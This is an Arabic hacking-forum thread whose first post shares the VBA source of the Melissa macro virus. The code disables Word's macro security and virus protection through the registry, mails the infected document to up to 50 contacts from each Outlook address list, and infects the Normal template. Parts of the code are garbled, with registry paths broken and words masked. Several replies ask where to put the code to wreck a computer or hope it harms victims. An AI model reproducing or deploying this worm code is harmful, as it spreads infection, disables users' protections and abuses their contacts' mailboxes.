فيروس عربي قاتل حصريا على جيوش الهكرز

فيروس عربي قاتل حصريا على جيوش الهكرز


صفحة 1 من 3 123 الأخيرةالأخيرة
النتائج 1 إلى 10 من 25

الموضوع: فيروس عربي قاتل حصريا على جيوش الهكرز

  1. #1

    new فيروس عربي قاتل حصريا على جيوش الهكرز

    السلام عليكم ورحمة الله وبركاته
    اليوم أقدم لكم كود فايروس ميليسا ولأول مرة
    لن أطيل عليكم
    الكود من هنا :
    كود:
    Private Sub AutoOpen() On Error Resume Next
     
    p$ = "clone"
     
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o  rd\e curity", "Level") <> "" Then
     
    CommandBars("Macro").Controls("Security...").Enabl ed = False
     
    System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o  rd\e curity", "Level") = 1&
     
    Else
     
    p$ = "clone"
     
    CommandBars("Tools").Controls("Macro").Enabled = False
     
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
     
    End If
     
    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
     
    Set UngaDasOutlook = CreateObject("Outlook.Application")
     
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
     
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then
     
    If UngaDasOutlook = "Outlook" Then
     
    DasMapiName.Logon "profile", "password"
     
    For y = 1 To DasMapiName.AddressLists.Count
     
    Set AddyBook = DasMapiName.AddressLists(y)
     
    x = 1
     
    Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
     
    For oo = 1 To AddyBook.AddressEntries.Count
     
    Peep = AddyBook.AddressEntries(x)
     
    BreakUmOffASlice.Recipients.Add Peep
     
    x = x + 1
     
    If x > 50 Then oo = AddyBook.AddressEntries.Count
     
    Next oo
     
    BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
     
    BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else ;-)"
     
    BreakUmOffASlice.Attachments.Add Active********.FullName
     
    BreakUmOffASlice.Send
     
    Peep = ""
     
    Next y
     
    DasMapiName.Logoff
     
    End If
     
    p$ = "clone"
     
    System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
     
    End If
     
    Set ADI1 = Active********.VBProject.VBComponents.Item(1)
     
    Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
     
    NTCL = NTI1.CodeModule.CountOfLines
     
    ADCL = ADI1.CodeModule.CountOfLines
     
    BGN = 2
     
    If ADI1.Name <> "Melissa" Then
     
    If ADCL > 0 Then _
     
    ADI1.CodeModule.DeleteLines 1, ADCL
     
    Set ToInfect = ADI1
     
    ADI1.Name = "Melissa"
     
    DoAD = True
     
    End If
     
    If NTI1.Name <> "Melissa" Then
     
    If NTCL > 0 Then _
     
    NTI1.CodeModule.DeleteLines 1, NTCL
     
    Set ToInfect = NTI1
     
    NTI1.Name = "Melissa"
     
    DoNT = True
     
    End If
     
    If DoNT <> True And DoAD <> True Then GoTo CYA
     
    If DoNT = True Then
     
    Do While ADI1.CodeModule.Lines(1, 1) = ""
     
    ADI1.CodeModule.DeleteLines 1
     
    Loop
     
    ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
     
    Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
     
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
     
    BGN = BGN + 1
     
    Loop
     
    End If
     
    p$ = "clone"
     
    If DoAD = True Then
     
    Do While NTI1.CodeModule.Lines(1, 1) = ""
     
    NTI1.CodeModule.DeleteLines 1
     
    Loop
     
    ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
     
    Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
     
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
     
    BGN = BGN + 1
     
    Loop
     
    End If
     
    CYA:
     
    If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
     
    Active********.SaveAs FileName:=Active********.FullName
     
    ElseIf (InStr(1, Active********.Name, "********") <> False) Then
     
    Active********.Saved = True: End If
     
    'WORD/Melissa written by Kwyjibo
     
    'Clone written by Duke/SMF
     
    'Works in both Word 2000 and Word 97
     
    'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
     
    'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
     
    If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
     
    End Sub
     
    --------------------------------------------------------------------------------------------------

  2. #2

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    ابي تفاعل اخواني

  3. #3

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    شكراااااااااااااااااا

  4. #4

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    يعطيك آلف عافيه يالغالي عالموضوع
    تقبل مروري
    غائب حاليا و لمدة طولية عن الشبكة العنكبوتية

  5. #5
    محظور
    تاريخ التسجيل
    Feb 2010
    الدولة
    السـعــوديــُـــُـے -
    المشاركات
    1,086

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    مشكور اخوي والله يعطيك الف عافيه

  6. #6
    هكر مبتديء الصورة الرمزية هكرز شان
    تاريخ التسجيل
    Jul 2010
    الدولة
    القصيم - بريده
    المشاركات
    11

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    يعطيكـ العافيه اخوي ومشكوررررررررررررررررر
    قـانـونـ الهكر لايــــرحـــم المغفلين

  7. #7
    هكر مجتهد الصورة الرمزية mc-prof
    تاريخ التسجيل
    Aug 2010
    الدولة
    المدينه المنوره,,
    المشاركات
    372

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    مشكوور على الفايروس..واتمنى يكون له تأثير كبيير على الضحيه

  8. #8

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    مشكوووور اخوي بس لحظة وين احط هالكود عشان ادمر الجهااز ومشكووور وماتقصر

  9. #9

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    مشكور اخوي بس لحظة وين احط هالكود عشان ادمر الجهااز ومشكووور وماتقصر

  10. #10

    افتراضي رد: فيروس عربي قاتل حصريا على جيوش الهكرز

    سلمت يدااااااااااااااااااااااا اك ,,,, والله يعطيك العافيه

    دمت في تألق وابداع


    إن المحبة الصادقة كعلاقة اليد بالعين إذا تألمت اليد دمعت العين وإذا دمعت العين مسحتها اليد

صفحة 1 من 3 123 الأخيرةالأخيرة

المواضيع المتشابهه

  1. دورة احتراف اختراق الايميلات على جيوش الهكرز حصريا
    بواسطة ديسكوا في المنتدى منتدى إختراق البريد والايميلات
    مشاركات: 34
    آخر مشاركة: 01-02-2012, 03:17 AM
  2. طلب يا جيوش الهكرز
    بواسطة هكر الفدرالي في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 5
    آخر مشاركة: 04-03-2011, 10:34 PM
  3. **حصريا على جيوش الهكرز اللعبة الرياضية Winning Eleven 2009**
    بواسطة THE DEVILS في المنتدى منتدى الالعاب - تحميل العاب
    مشاركات: 3
    آخر مشاركة: 02-11-2011, 01:24 AM
  4. بيفورست نسخه معربه ومشفره حصريا على جيوش الهكرز..
    بواسطة icon-187 في المنتدى قسم اختراق الأجهزة
    مشاركات: 84
    آخر مشاركة: 05-13-2010, 02:29 PM
  5. مشاركات: 3
    آخر مشاركة: 12-19-2009, 12:57 AM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •